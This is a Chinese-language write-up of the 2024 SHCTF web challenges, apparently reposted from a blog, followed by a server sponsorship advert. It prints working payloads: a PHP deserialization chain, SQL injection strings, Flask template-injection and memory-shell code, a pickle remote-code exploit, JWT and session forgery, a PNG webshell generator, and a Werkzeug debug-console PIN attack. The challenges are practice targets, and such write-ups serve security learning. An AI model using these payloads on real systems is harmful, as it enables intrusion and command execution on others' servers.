0


2024-SHCTF Web WP

[Week1] 1zflask

按照提示访问 robots.txt,访问 /s3recttt 得到一个 python 文件

在 api 路由传参,直接执行命令得到 flag

@app.route('/api')
def api():
    cmd = request.args.get('SSHCTFF', 'ls /')
    result = os.popen(cmd).read()
    return result

[Week1] MD5 Master

<?php
  highlight_file(__file__);

$master = "MD5 master!";

if(isset($_POST["master1"]) && isset($_POST["master2"])){
  if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
    echo $master . "<br>";
    echo file_get_contents('/flag');
  }
}
else{
  die("master? <br>");
} 

md5强碰撞,但是限制了前面一部分的字符串,不能使用现成的payload了,这里使用fastcoll生成

fastcoll_v1.0.0.5.exe -p test.txt -o 1.txt 2.txt

test.txt
MD5 master!

将生成的两个文本文件url编码一下,利用 burp 传参即可

[Week1] ez_gittt

git 泄露,和 basectf 那道几乎一模一样

先使用 githacker 将 .git 目录拉下来,再查看历史命令看到添加 flag 的操作

git checkout 命令恢复到当时的操作,恢复后即可看到 flag

[Week1] jvav

让 AI 写个脚本即可得到 flag

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class demo {
    public static void main(String[] args) {
        try {
            // 创建一个ProcessBuilder对象,指定要执行的命令
            ProcessBuilder processBuilder = new ProcessBuilder("cat", "/flag");

            // 启动进程
            Process process = processBuilder.start();

            // 读取命令的输出
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }

            // 等待命令执行完成并获取退出码
            int exitCode = process.waitFor();
            System.out.println("Exit Code: " + exitCode);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

[Week1] poppopop

首先反序列的入口都在 __destruct() 魔术方法里

然后链子是 __destruct() -> __toString() -> flag() -> __invoke()

赋值($this->isyou)($this->flag);得到 flag

 <?php
class SH {

    public static $Web = false;
    public static $SHCTF = false;
}
class C {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}
class T{

    public $n;
    public function __destruct()
    {

        SH::$Web = true;
        echo $this->n;
    }
}
class F {
    public $o;
    public function __toString()
    {
        SH::$SHCTF = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}
class SHCTF {
    public $isyou = "system";
    public $flag = "cat /flllag";
    public function __invoke()
    {
        if (SH::$Web) {

            ($this->isyou)($this->flag);
            echo "小丑竟是我自己呜呜呜~";
        } else {
            echo "小丑别看了!";
        }
    }
}

$payload = new T();
$payload->n = new F();
$payload->n->o = new C();
$payload->n->o->p = new SHCTF();

echo base64_encode(serialize($payload));

# TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czoxMToiY2F0IC9mbGxsYWciO319fX0=

[Week1] 单身十八年的手速

翻 js 代码看到当点击次数大于 520 次时弹出一串 base64 ,解码得到 flag

[Week1] 蛐蛐?蛐蛐!

查看源码得到提示,访问得到源码

访问得到页面源码

<?php
  if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){
  if($_POST['ququ']!=null){
  $eval_param = $_POST['ququ'];
if(strncmp($eval_param,'ququk1',6)===0){
  eval($_POST['ququ']);
}else{
  echo("可以让fault的蛐蛐变成现实么\n");
}
}
echo("蛐蛐成功第一步!\n");

}
else{
  echo("呜呜呜fault还是要出题");
}

第一层弱比较,使用 114514a 绕过第二层需要传入的字符的前六位是 ququk1 才会执行命令,使用分号绕过进行命令执行,得到 flag

[Week2] guess_the_number

F12 得到源码

发现是伪随机数,给出了生成的第一个数,爆破随机数种子,得到第二个数

@app.route('/first')
def get_first_number():
    return str(first_num)
    
@app.route('/guess')
def verify_seed():
    num = request.args.get('num')
    if num == str(second_num):
        with open("/flag", "r") as file:
            return file.read()
    return "nonono"

脚本如下:

import random

for seed in range(1000000, 9999999):
    random.seed(seed)
    first_num = random.randint(1000000000, 9999999999)
    if first_num == 8650917635:
        print("Seed found:", seed)
        for _ in range(3):
            print(random.randint(1000000000, 9999999999))
        break

# Seed found: 4717769
# 7497985241
# 9607468942
# 9902613818

提交即可得到 flag

[Week2] 自助查询

查询语句已经给出了,按照要求闭合进行注入

注入语句如下:

1") order by 2
1") union select 1,database()
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctf"
1") union select 1,group_concat(column_name) from information_schema.columns where table_name="flag" and table_schema="ctf"
1") union select 1,group_concat(id,scretdata) from ctf.flag

此时你会发现什么都查不到,根据提示查看注释内容,得到 flag

1") UNION SELECT 1,group_concat(COLUMN_NAME, COLUMN_COMMENT) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'ctf' AND TABLE_NAME = 'flag'

[Week2] 登录验证

尝试弱口令 admin 回显你不是真正的 admin

查看 jwt 爆破出密钥 222333 伪造 role 为 admin,重新加密

加密后的 jwt 放入 token,刷新即可得到 flag

[Week2] 入侵者禁入

源码如下:

from flask import Flask, session, request, render_template_string

app = Flask(__name__)
app.secret_key = '0day_joker'

@app.route('/')
def index():
    session['role'] = {
        'is_admin': 0,
        'flag': 'your_flag_here'
    }
    with open(__file__, 'r') as file:
        code = file.read()
    return code

@app.route('/admin')
def admin_handler():
    try:
        role = session.get('role')
        if not isinstance(role, dict):
            raise Exception
    except Exception:
        return 'Without you, you are an intruder!'

    if role.get('is_admin') == 1:
        flag = role.get('flag') or 'admin'
        message = "Oh,I believe in you! The flag is: %s" % flag
        return render_template_string(message)
    else:
        return "Error: You don't have the power!"

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

发现要检验 admin 的值为 1 并且在 flag 处存在模板注入漏洞,先伪造 admin 的值为 1, 测试注入漏洞

发现 2*2 被成功解析,于是写入命令执行代码,, 注意伪造时 flag 里的单引号需要转义,否则会匹配错误,伪造 payload 如下:

python flask_session_cookie_manager3.py encode -s 0day_joker -t "{'role': {'flag': '{{config.__class__.__init__.__globals__[\'os\'].popen(\'cat /flag\').read()}}', 'is_admin': 1}}"

伪造后传入 cookie 得到 flag

[Week2] dickle(复现)

拿到源码,发现过滤了大量的模块

from flask import Flask, request
import pickle
import base64
import io

BLACKLISTED_CLASSES = [
    'subprocess.check_output','builtins.eval','builtins.exec',
    'os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4', 
    'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads', 
    'subprocess.call', 'subprocess.check_call', 'subprocess.Popen', 
    'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 
    'pty.spawn', 'posixfile.open', 'posixfile.fileopen',
    '__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile'
    'eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system', 
    'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe',
    'os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir',
    'os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
    'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk',
    'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe',
    'os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv',
    'os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
    'subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen',
    'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob',
    'linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move',
    'shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing',
    'code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open',
    'posixfile.fileopen'
]

class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if f"{module}.{name}" in BLACKLISTED_CLASSES:
            raise pickle.UnpicklingError("Forbidden class: %s.%s" % (module, name))
        return super().find_class(module, name)

app = Flask(__name__)

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        encoded_data = request.form["data"]
        decoded_data = base64.b64decode(encoded_data)
        
        try:
            data_stream = io.BytesIO(decoded_data)
            unpickler = SafeUnpickler(data_stream)
            result = unpickler.load()
            return f"Deserialized data: {list(result)}"
        except Exception as e:
            return f"Error during deserialization: {str(e)}"
    else:
        return """
        <form method="post">
            <label for="data">Enter your serialized data:</label><br>
            <textarea id="data" name="data"></textarea><br>
            <input type="submit" value="Submit">
        </form>
        """

if __name__ == "__main__":
    app.run(port=8080)

找到一些没有过滤的命令执行函数使用

import subprocess
import inspect

def list_module_methods(module):    # 列出subprocess模块下所有函数
    methods = [name for name, func in inspect.getmembers(module, predicate=inspect.isfunction)]
    return methods

subprocess_methods = list_module_methods(subprocess)

BLACKLISTED_CLASSES = []  # 黑名单略----------------------------------------

for method in subprocess_methods:
    methodTmp = f"subprocess.{method}"
    if methodTmp not in BLACKLISTED_CLASSES:
        print(method)
'''
输出:
_args_from_interpreter_flags
_cleanup
_optim_args_from_interpreter_flags
_text_encoding
_use_posix_spawn
getoutput
getstatusoutput
list2cmdline
run
'''

发现getoutput没有被过滤,使用它进行命令执行,得到flag

import pickle
import base64
import subprocess

def execute_command(command):
    class Exploit(object):
        def __reduce__(self):
            return (subprocess.getoutput, (command,))

    payload = pickle.dumps(Exploit())
    encoded_payload = base64.b64encode(payload)
    print(encoded_payload.decode())

execute_command('cat /flag')

[Week2] MD5 GOD!

源码如下:

from flask import *
import hashlib, os, random

app = Flask(__name__)
app.config["SECRET_KEY"] = "Th1s_is_5ecr3t_k3y"
salt = os.urandom(16)

def md5(data):
    return hashlib.md5(data).hexdigest().encode()

def check_sign(sign, username, msg, salt):
    if sign == md5(salt + msg + username):
        return True
    return False

def getRandom(str_length=16):
    """
    生成一个指定长度的随机字符串
    """
    random_str =''
    base_str ='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
    length =len(base_str) -1
    for i in range(str_length):
        random_str +=base_str[random.randint(0, length)]
    return random_str

users = {}
sign_users = {}

@app.route("/")
def index():
    if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
        return redirect("/login")
    sign = session.get('sign')
    username = session.get('username')
    msg = session.get('msg')
    if check_sign(sign, username, msg, salt):
        sign_users[username.decode()] = 1
        return "签到成功"
    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get('username')
        password = request.form.get('password')
        # print(password)
        if username in users and users[username] == password:
            session["username"] = username.encode()
            session["msg"] = md5(salt + password.encode())
            session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())
            return "登陆成功"
        else:
            return "登陆失败"
    else:
        return render_template("login.html")

@app.route("/users")
def user():
    return json.dumps(sign_users)

@app.route("/flag")
def flag():
    for user in users:
        if sign_users[user] != 1:
            return "flag{杂鱼~}"
    return open('/flag', 'r').read()

def init():
    global users, sign_users
    for _ in range(64):
        username = getRandom(8)
        pwd = getRandom(16)
        users[username] = pwd
        sign_users[username] = 0
    users["student"] = "student"
    sign_users["student"] = 0

init()

首先登陆给出的账号密码,查看 session,观察 seesion 格式

访问 users 路由查看到需要登陆的人

这是登陆的核心逻辑,salt 是随机生成的 16 个字符,密码是 salt +16 位 A-Za-z0-9,因为已经有了一个学生账号密码的 md5,想到哈希长度拓展攻击

session["username"] = username.encode()
session["msg"] = md5(salt + password.encode())
session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())

伪造密码和签名,将伪造的数据再用 session 存储提交

提交签到成功,再次查看 /users 路由发现已经签到成功了

接下来就是改造脚本了,根据原有的 hash 拓展脚本写一个批量处理的脚本,关键代码如下,跑一下即可得到 flag

import requests
import os
from Hashdump import HashExtAttack
import ast
import time

url = 'http://210.44.150.15:31643/'

response = requests.get(url+'users')
dicts = response.text
un = ast.literal_eval(dicts)
print(un)

for i in un:
    hash_ext_attack = HashExtAttack()
    result = hash_ext_attack.input_run('637af2ab008f0cac6a55e9201984c6bfstudent','383da15fd7e7400cf420974001bddeda',i,16)
    msg = result[0][:-8]
    sign = result[1]
    msg_str = repr(msg)
    cmd = "python flask_session_cookie_manager3.py encode -s 'Th1s_is_5ecr3t_k3y' -t \"{'msg': "+msg_str+", 'sign': b'"+sign+"', 'username': b'"+i+"'}\""
    proc = os.popen(cmd)
    output = proc.read()
    proc.close()
    cookie = {
            'session':output[:-1]
    }
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
    }
    response = requests.get(url,cookies=cookie, headers=headers)
    print(response.text)

response = requests.get(url+'/flag')
print(response.text)

[Week3] 小小cms

开源 cms,网上找到 RCE 漏洞,搜到现成的 poc,直接打,得到 flag

https://github.com/wy876/POC/blob/main/YzmCMS/YzmCMS%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8pay_callback%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.md

[Week3] love_flask

源码如下:

@app.route('/')
def pretty_input():
    return render_template_string(html_template)

@app.route('/namelist', methods=['GET'])
def name_list():
    name = request.args.get('name')  
    template = '<h1>Hi, %s.</h1>' % name
    rendered_string =  render_template_string(template)
    if rendered_string:
        return 'Success Write your name to database'
    else:
        return 'Error'

if __name__ == '__main__':
    app.run(port=8080)

侥幸拿了一血,审计代码,发现是模板渲染,但是没有回显,想到写内存马,如下:

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

注意需要进行模板渲染,成功写入

在写入的 shell 路由下通过参数 cmd 执行命令,得到 flag

[Week3] 拜师之旅·番外

文件上传,经测试是二次渲染绕过

网上找脚本生成二次渲染绕过的 png 图片

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');

此脚本写入的马如下:

<?=$_GET[0]($_POST[1]);?>

依次传入 0 和 1 参数即可进行命令执行,burp 抓包可得到文件里面的回显内容

[Week3] hacked_website(复现)

什么都没有,扫目录得到 www.zip,下载下来是网站源码

放入 D 盾发现第十四行存在后门,连接密码为 SH

访问后门文件提示登陆,但是我在源码里翻找和爆破均无果,看官方 wp 写的是爆破,密码是 qwer1234

虽然长度都一样,但是只有这个经历了两次 302 跳转,并且响应最小,(想不到

连接木马,命令执行,得到 flag

[Week3] 顰(复现)

这题只算出来了 pin,其他的不会了,按照官方的 wp 复现一下

先正常计算 pin 值,为 262-850-657,脚本如下:

address_hex = "8e:c2:fc:b6:90:a1"
print(int(address_hex.replace(":",""),16))

import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # 报错得到
]

private_bits = [
    '156968114622625',  # /sys/class/net/eth0/address 十进制
    'd45a88e1-3fe4-4156-9e59-3864587b7c87'
    # 字符串合并:
    # 1./etc/machine-id(docker不用看)
    # /proc/sys/kernel/random/boot_id 有boot-id那就拼接boot-id
    # 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

根据 debug 的描述,需要添加受信任的主机才能正常访问 /console 路由,开启 debug 模块,否则直接访问路由就报错

https://werkzeug.palletsprojects.com/en/stable/debug/

修改 host 为 127.0.0.1 允许本地访问

此时出现了填写 pin 框的界面,但是还是不能直接输入,会提示无效

需要本地起一个 demo 看看参数,按照流程访问修改后发现会提示有几个参数

from flask import Flask
app = Flask(name)
@app.route("/")
def hello():
    return 'test'
if name == "main":
    app.run(host="0.0.0.0", port=8088, debug=True)

# /console?debugger=yes&cmd=pinauth&pin=531-465-652&s=0NrB2mqZqEoBViwg43DE

回到本题,s 参数就是源码给的 SECRET,pin 就是计算出来的 pin,其余参数不用变

访问可以看到 auth 为 true,也就是身份认证成功

/console?__debugger__=yes&cmd=pinauth&pin=262-850-657&s=2Fp0F08Whs4ZUx5iVfRg

接下来获取 cookie,然后将 cookie 填入请求头,发起请求进行命令执行,得到 flag

?__debugger__=yes&cmd=open('/flag').read()&frm=0&pin=262-850-657&s=2Fp0F08Whs4ZUx5iVfRg

Cookie: __wzd80daa8eeb619ef5f617f=1729835051|cae46a0790d2

week4 打不动了,太难了,估计也不会复现了,就到这里吧

DK盾

另外,给师傅们推荐一个性价比非常高的云服务器-DK 盾,适合 ctfer 的服务器!

DK盾-CTFers赞助计划已启动!

CTFers可获得DK盾赞助服务器,配置从2C2G到32H64G不等,续费仅需1元/月。

参与条件:

参与过5个以上国内CTF赛事,附上相关证明。

每月在个人技术博客上至少更新1篇原创文章(CTF技术相关),总量10篇以上。

博客底部挂有DK盾赞助标识或发布一篇推广文章。

详情请关注:

DK盾微信公众号:DK盾-CTFers赞助计划已启动!

DK盾官方QQ群:727077055

DK盾云服务器官网:林枫云

标签: 网络安全

本文转载自: https://blog.csdn.net/2301_80185313/article/details/143374588
版权归原作者 Liebert77 所有, 如有侵权,请联系我们删除。

“2024-SHCTF Web WP”的评论:

还没有评论